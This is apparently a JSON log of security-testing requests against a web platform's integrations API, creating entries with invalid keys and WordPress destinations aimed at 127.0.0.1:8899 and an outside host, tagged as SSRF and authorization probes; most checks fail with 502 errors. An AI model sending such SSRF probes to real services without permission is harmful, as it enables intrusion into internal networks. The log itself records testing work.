{"ts": 1793047004.1106946, "tag": "create tg", "method": "POST", "path": "/api/integrations", "body": {"brand": "zh-test", "kind": "telegram", "name": "inj-tg", "purpose": "test", "destination": "@injtest", "model": "", "value": "123456:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "enabled": true}, "status": 404, "elapsed": 0.961, "resp": {"error": "Метод API не найден."}}
{"ts": 1793047004.7761338, "tag": "list", "method": "GET", "path": "/api/integrations", "body": null, "status": 200, "elapsed": 0.265, "resp": {"integrations": []}}
{"ts": 1793047011.4873254, "tag": "create wp via PUT new", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-wp-ssrf", "purpose": "ssrf test", "destination": "https://rgwokwlkql4esjsz-dots.vixium.ai/", "model": "wpuser", "value": "apppass", "enabled": true}, "status": 400, "elapsed": 1.228, "resp": {"error": "Проверьте ключ."}}
{"ts": 1793047012.198194, "tag": "list", "method": "GET", "path": "/api/integrations", "body": null, "status": 200, "elapsed": 0.311, "resp": {"integrations": []}}
{"ts": 1793047018.2976236, "tag": "ds-invalid", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "deepseek", "name": "inj-ds-invalid", "purpose": "probe", "destination": "", "model": "deepseek-chat", "value": "sk-invalid123", "enabled": true}, "status": 200, "elapsed": 1.244, "resp": {"id": "edddadc8774c5bbc68306ab59bae2058"}}
{"ts": 1793047018.9440527, "tag": "openai-invalid", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "openai", "name": "inj-openai-invalid", "purpose": "probe", "destination": "", "model": "gpt-4o-mini", "value": "sk-invalid123", "enabled": true}, "status": 200, "elapsed": 0.246, "resp": {"id": "629b7bf2905e62a9c9f3033560579a9e"}}
{"ts": 1793047019.606242, "tag": "or-invalid", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "openrouter", "name": "inj-or-invalid", "purpose": "probe", "destination": "", "model": "x/y", "value": "sk-or-invalid", "enabled": true}, "status": 200, "elapsed": 0.26, "resp": {"id": "5ef564d39532bed0786d40dfaa008f52"}}
{"ts": 1793047020.3674476, "tag": "gemini-invalid", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "gemini", "name": "inj-gemini-invalid", "purpose": "probe", "destination": "", "model": "gemini-1.5-flash", "value": "AIzainvalid", "enabled": true}, "status": 200, "elapsed": 0.36, "resp": {"id": "46ec15777ea1a3fc972f4d917bce6726"}}
{"ts": 1793047021.1118698, "tag": "tavily-invalid", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "tavily", "name": "inj-tavily-invalid", "purpose": "probe", "destination": "", "model": "", "value": "tvly-invalid", "enabled": true}, "status": 200, "elapsed": 0.33, "resp": {"id": "8aaaf714d31a7aafda80e5d34f8b88dc"}}
{"ts": 1793047021.8374865, "tag": "tg-invalid", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "telegram", "name": "inj-tg-invalid", "purpose": "probe", "destination": "@injtest", "model": "", "value": "123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "enabled": true}, "status": 200, "elapsed": 0.325, "resp": {"id": "4da150e37402b759d96ca12959f85d1e"}}
{"ts": 1793047023.194476, "tag": "max-invalid", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "max", "name": "inj-max-invalid", "purpose": "probe", "destination": "123", "model": "", "value": "invalidtoken", "enabled": true}, "status": 200, "elapsed": 0.834, "resp": {"id": "093c2d11d7b679bcd7ae94c737a243a9"}}
{"ts": 1793047023.8387346, "tag": "metrica-invalid", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "metrica", "name": "inj-metrica-invalid", "purpose": "probe", "destination": "12345678", "model": "", "value": "invalidtoken", "enabled": true}, "status": 200, "elapsed": 0.243, "resp": {"id": "4df46486623abd078a23d8ab4069bc0f"}}
{"ts": 1793047024.4869354, "tag": "wordstat-invalid", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordstat", "name": "inj-wordstat-invalid", "purpose": "probe", "destination": "b1g12345", "model": "213", "value": "invalidkey", "enabled": true}, "status": 200, "elapsed": 0.246, "resp": {"id": "a644455d0de35d00d5e13d7fd9fc8a4c"}}
{"ts": 1793047025.3076904, "tag": "wp-invalid", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-wp-invalid", "purpose": "probe", "destination": "https://example.com", "model": "wpuser", "value": "apppass", "enabled": true}, "status": 400, "elapsed": 0.42, "resp": {"error": "Проверьте ключ."}}
{"ts": 1793047026.106305, "tag": "list", "method": "GET", "path": "/api/integrations", "body": null, "status": 200, "elapsed": 0.374, "resp": {"integrations": [{"id": "edddadc8774c5bbc68306ab59bae2058", "brand": "zh-test", "kind": "deepseek", "name": "inj-ds-invalid", "purpose": "probe", "destination": "", "model": "deepseek-chat", "enabled": true, "status": "unverified", "updatedAt": "2026-10-26T23:36:58.141871+03:00", "checkedAt": null}, {"id": "629b7bf2905e62a9c9f3033560579a9e", "brand": "zh-test", "kind": "openai", "name": "inj-openai-invalid", "purpose": "probe", "destination": "", "model": "gpt-4o-mini", "enabled": true, "status": "unverified", "updatedAt": "2026-10-26T23:36:58.839735+03:00", "checkedAt": null}, {"id": "5ef564d39532bed0786d40dfaa008f52", "brand": "zh-test", "kind": "openrouter", "name": "inj-or-invalid", "purpose": "probe", "destination": "", "model": "x/y", "enabled": true, "status": "unverified", "updatedAt": "2026-10-26T23:36:59.483424+03:00", "checkedAt": null}, {"id": "46ec15777ea1a3fc972f4d917bce6726", "brand": "zh-test", "kind": "gemini", "name": "inj-gemini-invalid", "purpose": "probe", "destination": "", "model": "gemini-1.5-flash", "enabled": true, "status": "unverified", "updatedAt": "2026-10-26T23:37:00.253898+03:00", "checkedAt": null}, {"id": "8aaaf714d31a7aafda80e5d34f8b88dc", "brand": "zh-test", "kind": "tavily", "name": "inj-tavily-invalid", "purpose": "probe", "destination": "", "model": "", "enabled": true, "status": "unverified", "updatedAt": "2026-10-26T23:37:01.008069+03:00", "checkedAt": null}, {"id": "4da150e37402b759d96ca12959f85d1e", "brand": "zh-test", "kind": "telegram", "name": "inj-tg-invalid", "purpose": "probe", "destination": "@injtest", "model": "", "enabled": true, "status": "unverified", "updatedAt": "2026-10-26T23:37:01.726559+03:00", "checkedAt": null}, {"id": "093c2d11d7b679bcd7ae94c737a243a9", "brand": "zh-test", "kind": "max", "name": "inj-max-invalid", "purpose": "probe", "destination": "123", "model": "", "enabled": true, "status": "unverified", "updatedAt": "2026-10-26T23:37:02.74879+03:00", "checkedAt": null}, {"id": "4df46486623abd078a23d8ab4069bc0f", "brand": "zh-test", "kind": "metrica", "name": "inj-metrica-invalid", "purpose": "probe", "destination": "12345678", "model": "", "enabled": true, "status": "unverified", "updatedAt": "2026-10-26T23:37:03.734252+03:00", "checkedAt": null}, {"id": "a644455d0de35d00d5e13d7fd9fc8a4c", "brand": "zh-test", "kind": "wordstat", "name": "inj-wordstat-invalid", "purpose": "probe", "destination": "b1g12345", "model": "213", "enabled": true, "status": "unverified", "updatedAt": "2026-10-26T23:37:04.373465+03:00", "checkedAt": null}]}}
{"ts": 1793047032.3779218, "tag": "check-deepseek", "method": "POST", "path": "/api/integrations/edddadc8774c5bbc68306ab59bae2058/check", "body": {}, "status": 502, "elapsed": 1.933, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c41ea5d62b432", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c41ea5d62b432", "timestamp": "2026-10-26T20:37:12Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047033.7069933, "tag": "check-openai", "method": "POST", "path": "/api/integrations/629b7bf2905e62a9c9f3033560579a9e/check", "body": {}, "status": 502, "elapsed": 0.929, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c41f32d71b432", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c41f32d71b432", "timestamp": "2026-10-26T20:37:13Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047034.570816, "tag": "check-openrouter", "method": "POST", "path": "/api/integrations/5ef564d39532bed0786d40dfaa008f52/check", "body": {}, "status": 502, "elapsed": 0.464, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c41fb7a7eb432", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c41fb7a7eb432", "timestamp": "2026-10-26T20:37:14Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047035.9083376, "tag": "check-gemini", "method": "POST", "path": "/api/integrations/46ec15777ea1a3fc972f4d917bce6726/check", "body": {}, "status": 502, "elapsed": 0.937, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c4200ef16b432", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c4200ef16b432", "timestamp": "2026-10-26T20:37:15Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047037.2931955, "tag": "check-tavily", "method": "POST", "path": "/api/integrations/8aaaf714d31a7aafda80e5d34f8b88dc/check", "body": {}, "status": 502, "elapsed": 0.984, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c42093b9bb432", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c42093b9bb432", "timestamp": "2026-10-26T20:37:17Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047039.2420008, "tag": "check-telegram", "method": "POST", "path": "/api/integrations/4da150e37402b759d96ca12959f85d1e/check", "body": {}, "status": 400, "elapsed": 1.548, "resp": {"error": "Telegram не подтвердил доступ: getMe"}}
{"ts": 1793047040.0814347, "tag": "check-max", "method": "POST", "path": "/api/integrations/093c2d11d7b679bcd7ae94c737a243a9/check", "body": {}, "status": 502, "elapsed": 0.439, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c421e1e76b432", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c421e1e76b432", "timestamp": "2026-10-26T20:37:20Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047040.8612852, "tag": "check-metrica", "method": "POST", "path": "/api/integrations/4df46486623abd078a23d8ab4069bc0f/check", "body": {}, "status": 502, "elapsed": 0.379, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c42235a03b432", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c42235a03b432", "timestamp": "2026-10-26T20:37:20Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047041.674944, "tag": "check-wordstat", "method": "POST", "path": "/api/integrations/a644455d0de35d00d5e13d7fd9fc8a4c/check", "body": {}, "status": 502, "elapsed": 0.413, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c42282dc3b432", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c42282dc3b432", "timestamp": "2026-10-26T20:37:21Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047046.488331, "tag": "health", "method": "GET", "path": "/api/auth/me", "body": null, "status": 200, "elapsed": 1.295, "resp": {"catalog": [{"id": "zh-test", "name": "Журавлик Test", "color": "#ac92ee"}, {"id": "garden", "name": "probe garden", "color": "#ac92ee"}, {"id": "helga", "name": "probe helga", "color": "#ac92ee"}, {"id": "helga-moretti", "name": "probe helga-moretti", "color": "#ac92ee"}, {"id": "default", "name": "probe default", "color": "#ac92ee"}, {"id": "zopa", "name": "probe zopa", "color": "#ac92ee"}], "csrf": "f54ca9ccae11ced52e42eb971155b5f5fbfd7409f5cb74ff", "grants": {}, "projects": ["zopa", "zh-test", "helga-moretti", "helga", "garden", "default"], "user": {"avatarColor": "#ac92ee", "avatarVersion": 0, "company": "", "email": "juravlik.rt@proton.me", "id": "d94f17ec6d710b05301886f371e7fcd8", "name": "Журавлик Тест", "timezone": "Europe/Moscow"}, "workspace": {"id": "d567a3bab9f05b5481f9f875fb6c75bd", "isOwner": true, "ownerId": "d94f17ec6d710b05301886f371e7fcd8", "ownerName": "Журавлик Тест"}, "workspaces": [{"id": "d567a3bab9f05b5481f9f875fb6c75bd", "isOwner": true, "ownerName": "Журавлик Тест"}]}}
{"ts": 1793047047.5320446, "tag": "check-deepseek-retry", "method": "POST", "path": "/api/integrations/edddadc8774c5bbc68306ab59bae2058/check", "body": {}, "status": 502, "elapsed": 0.643, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c424b5be9728f", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c424b5be9728f", "timestamp": "2026-10-26T20:37:27Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047048.3226943, "tag": "check-tavily-retry", "method": "POST", "path": "/api/integrations/8aaaf714d31a7aafda80e5d34f8b88dc/check", "body": {}, "status": 502, "elapsed": 0.39, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c4251ed69728f", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c4251ed69728f", "timestamp": "2026-10-26T20:37:28Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047049.0316603, "tag": "check-tg-again", "method": "POST", "path": "/api/integrations/4da150e37402b759d96ca12959f85d1e/check", "body": {}, "status": 400, "elapsed": 0.308, "resp": {"error": "Telegram не подтвердил доступ: getMe"}}
{"ts": 1793047055.2044675, "tag": "models-deepseek", "method": "GET", "path": "/api/integrations/edddadc8774c5bbc68306ab59bae2058/models", "body": null, "status": 502, "elapsed": 1.545, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c427b6e503852", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c427b6e503852", "timestamp": "2026-10-26T20:37:35Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047056.0498614, "tag": "models-openai", "method": "GET", "path": "/api/integrations/629b7bf2905e62a9c9f3033560579a9e/models", "body": null, "status": 502, "elapsed": 0.445, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c4281de0c3852", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c4281de0c3852", "timestamp": "2026-10-26T20:37:36Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047056.8156877, "tag": "channels-tg", "method": "POST", "path": "/api/integrations/4da150e37402b759d96ca12959f85d1e/channels", "body": {}, "status": 502, "elapsed": 0.366, "resp": {"type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-502/", "title": "Error 502: Bad gateway", "status": 502, "detail": "The origin web server returned an invalid or incomplete response to Cloudflare. This typically indicates the origin is overloaded or misconfigured.", "instance": "a50c42876b723852", "error_code": 502, "error_name": "origin_bad_gateway", "error_category": "origin", "ray_id": "a50c42876b723852", "timestamp": "2026-10-26T20:37:36Z", "zone": "zcp.mirrorka.ru", "cloudflare_error": true, "retryable": true, "retry_after": 60, "owner_action_required": true, "what_you_should_do": "**Wait and retry.** Back off for at least 60 seconds. If the error persists, the website operator should check their origin server health and configuration.", "footer": "This error was generated by Cloudflare on behalf of the website owner."}}
{"ts": 1793047057.5177252, "tag": "verify-tg", "method": "POST", "path": "/api/integrations/4da150e37402b759d96ca12959f85d1e/verify-channel", "body": {"destination": "@injtest"}, "status": 400, "elapsed": 0.3, "resp": {"error": "Telegram не подтвердил доступ: getMe"}}
{"ts": 1793047058.2638595, "tag": "seo-summary", "method": "GET", "path": "/api/seo/summary", "body": null, "status": 200, "elapsed": 0.346, "resp": {"plans": [{"id": "c2c833dd50b624e58e7454689da51a8f", "brand": "garden", "weekStart": "2026-10-26", "status": "failed", "brief": "AUTHZ SEO plan probe garden", "config": {"season": "", "seeds": [], "rubrics": [{"name": "Полезные советы", "intent": "informational", "format": "guide"}, {"name": "Экспертные статьи", "intent": "informational", "format": "expert"}, {"name": "Обзоры и сравнения", "intent": "commercial", "format": "review"}, {"name": "Идеи и вдохновение", "intent": "informational", "format": "entertainment"}], "articles": 4, "timezone": "Europe/Moscow", "localTime": "10:00", "weekday": 1, "autoWeekly": false, "syncOnPlan": true, "targetId": ""}, "basis": null, "stage": "План не подготовлен", "error": "Нет свежих измеренных запросов для плана. Подключите Вордстат или Метрику либо импортируйте CSV за последние 90 дней. Уже согласованные за 60 дней запросы исключены.", "version": 2, "topics": [], "createdAt": "2026-10-26T23:37:05.722612+03:00"}]}}
{"ts": 1793047058.9746618, "tag": "seo-get", "method": "GET", "path": "/api/seo?brand=zh-test", "body": null, "status": 200, "elapsed": 0.31, "resp": {"metrics": [], "plans": [], "settings": {"config": {"season": "", "seeds": [], "rubrics": [{"name": "Полезные советы", "intent": "informational", "format": "guide"}, {"name": "Экспертные статьи", "intent": "informational", "format": "expert"}, {"name": "Обзоры и сравнения", "intent": "commercial", "format": "review"}, {"name": "Идеи и вдохновение", "intent": "informational", "format": "entertainment"}], "articles": 4, "timezone": "Europe/Moscow", "localTime": "10:00", "weekday": 1, "autoWeekly": false, "syncOnPlan": true, "targetId": ""}, "version": 0, "nextRunAt": null, "lastError": ""}}}
{"ts": 1793047067.4350235, "tag": "wp-apppass-example", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-wp-apppass-example", "purpose": "probe", "destination": "https://example.com", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 1.169, "resp": {"id": "1ab79ec512a0ee7cf9663cc6caf0d4eb"}}
{"ts": 1793047068.1187334, "tag": "wp-localhost-8899", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-wp-localhost-8899", "purpose": "probe", "destination": "http://127.0.0.1:8899", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.283, "resp": {"id": "038e5993760d83695a50259dec058b9c"}}
{"ts": 1793047068.8027942, "tag": "wp-localhost-https", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-wp-localhost-https", "purpose": "probe", "destination": "https://127.0.0.1:8899", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.282, "resp": {"id": "c5f0521e4f1a2c8b3aa011e57ad488b0"}}
{"ts": 1793047069.4749355, "tag": "wp-myshare", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-wp-myshare", "purpose": "probe", "destination": "https://rgwokwlkql4esjsz-dots.vixium.ai/", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.272, "resp": {"id": "4672235a524ee4a7ef7252bb668a2115"}}
{"ts": 1793047070.1627922, "tag": "wp-noscheme", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-wp-noscheme", "purpose": "probe", "destination": "example.com", "model": "wpuser", "value": "abcd efgh ijkl mnop qrst uvwx", "enabled": true}, "status": 200, "elapsed": 0.287, "resp": {"id": "d8f466757709056bebf0d6611659fd87"}}
{"ts": 1793047070.786111, "tag": "wp-plainpass", "method": "PUT", "path": "/api/integrations/new", "body": {"brand": "zh-test", "kind": "wordpress", "name": "inj-wp-plainpass", "purpose": "probe", "destination": "https://example.com", "model": "wpuser", "value": "apppass", "enabled": true}, "status": 400, "elapsed": 0.222, "resp": {"error": "Проверьте ключ."}}
{"ts": 1793047071.4952676, "tag": "list-count", "method": "GET", "path": "/api/integrations", "body": null, "status": 200, "elapsed": 0.309, "resp": {"integrations": [{"id": "edddadc8774c5bbc68306ab59bae2058", "brand": "zh-test", "kind": "deepseek", "name": "inj-ds-invalid", "purpose": "probe", "destination": "", "model": "deepseek-chat", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:36:58.141871+03:00", "checkedAt": "2026-10-26T23:37:27.425666+03:00"}, {"id": "629b7bf2905e62a9c9f3033560579a9e", "brand": "zh-test", "kind": "openai", "name": "inj-openai-invalid", "purpose": "probe", "destination": "", "model": "gpt-4o-mini", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:36:58.839735+03:00", "checkedAt": "2026-10-26T23:37:13.601744+03:00"}, {"id": "5ef564d39532bed0786d40dfaa008f52", "brand": "zh-test", "kind": "openrouter", "name": "inj-or-invalid", "purpose": "probe", "destination": "", "model": "x/y", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:36:59.483424+03:00", "checkedAt": "2026-10-26T23:37:14.470178+03:00"}, {"id": "46ec15777ea1a3fc972f4d917bce6726", "brand": "zh-test", "kind": "gemini", "name": "inj-gemini-invalid", "purpose": "probe", "destination": "", "model": "gemini-1.5-flash", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:00.253898+03:00", "checkedAt": "2026-10-26T23:37:15.803795+03:00"}, {"id": "8aaaf714d31a7aafda80e5d34f8b88dc", "brand": "zh-test", "kind": "tavily", "name": "inj-tavily-invalid", "purpose": "probe", "destination": "", "model": "", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:01.008069+03:00", "checkedAt": "2026-10-26T23:37:28.217216+03:00"}, {"id": "4da150e37402b759d96ca12959f85d1e", "brand": "zh-test", "kind": "telegram", "name": "inj-tg-invalid", "purpose": "probe", "destination": "@injtest", "model": "", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:01.726559+03:00", "checkedAt": "2026-10-26T23:37:28.928984+03:00"}, {"id": "093c2d11d7b679bcd7ae94c737a243a9", "brand": "zh-test", "kind": "max", "name": "inj-max-invalid", "purpose": "probe", "destination": "123", "model": "", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:02.74879+03:00", "checkedAt": "2026-10-26T23:37:19.974546+03:00"}, {"id": "4df46486623abd078a23d8ab4069bc0f", "brand": "zh-test", "kind": "metrica", "name": "inj-metrica-invalid", "purpose": "probe", "destination": "12345678", "model": "", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:03.734252+03:00", "checkedAt": "2026-10-26T23:37:20.759007+03:00"}, {"id": "a644455d0de35d00d5e13d7fd9fc8a4c", "brand": "zh-test", "kind": "wordstat", "name": "inj-wordstat-invalid", "purpose": "probe", "destination": "b1g12345", "model": "213", "enabled": true, "status": "failed", "updatedAt": "2026-10-26T23:37:04.373465+03:00", "checkedAt": "2026-10-26T23:37:21.569966+03:00"}, {"id": "3bf370dbfaaa32f886605a3bde25f48a", "brand": "garden", "kind": "telegram", "name": "AUTHZ-INT", "purpose": "publish", "destination": "@authzprobe", "model": "", "enabled": true, "status": "unverified", "updatedAt": "2026-10-26T23:37:16.062965+03:00", "checkedAt": null}, {"id": "1ab79ec512a0ee7cf9663cc6caf0d4eb", "brand": "zh-test", "kind": "wordpress", "name": "inj-wp-apppass-example", "purpose": "probe", "destination": "https://example.com", "model": "wpuser", "enabled": true, "status": "unverified", "updatedAt": "2026-10-26T23:37:47.326636+03:00", "checkedAt": null}, {"id": "038e5993760d83695a50259dec058b9c", "brand": "zh-test", "kind": "wordpress", "name": "inj-wp-localhost-8899", "purpose": "probe", "destination": "http://127.0.0.1:8899", "model": "wpuser", "enabled": true, "status": "unverified", "updatedAt": "2026-10-26T23:37:48.013937+03:00", "checkedAt": null}, {"id": "c5f0521e4f1a2c8b3aa011e57ad488b0", "brand": "zh-test", "kind": "wordpress", "name": "inj-wp-localhost-https", "purpose": "probe", "destination": "https://127.0.0.1:8899", "model": "wpuser", "enabled": true, "status": "unverified", "updatedAt": "2026-10-26T23:37:48.695972+03:00", "checkedAt": null}, {"id": "4672235a524ee4a7ef7252bb668a2115", "brand": "zh-test", "kind": "wordpress", "name": "inj-wp-myshare", "purpose": "probe", "destination": "https://rgwokwlkql4esjsz-dots.vixium.ai/", "model": "wpuser", "enabled": true, "status": "unverified", "updatedAt": "2026-10-26T23:37:49.369125+03:00", "checkedAt": null}, {"id": "d8f466757709056bebf0d6611659fd87", "brand": "zh-test", "kind": "wordpress", "name": "inj-wp-noscheme", "purpose": "probe", "destination": "example.com", "model": "wpuser", "enabled": true, "status": "unverified", "updatedAt": "2026-10-26T23:37:50.057277+03:00", "checkedAt": null}]}}
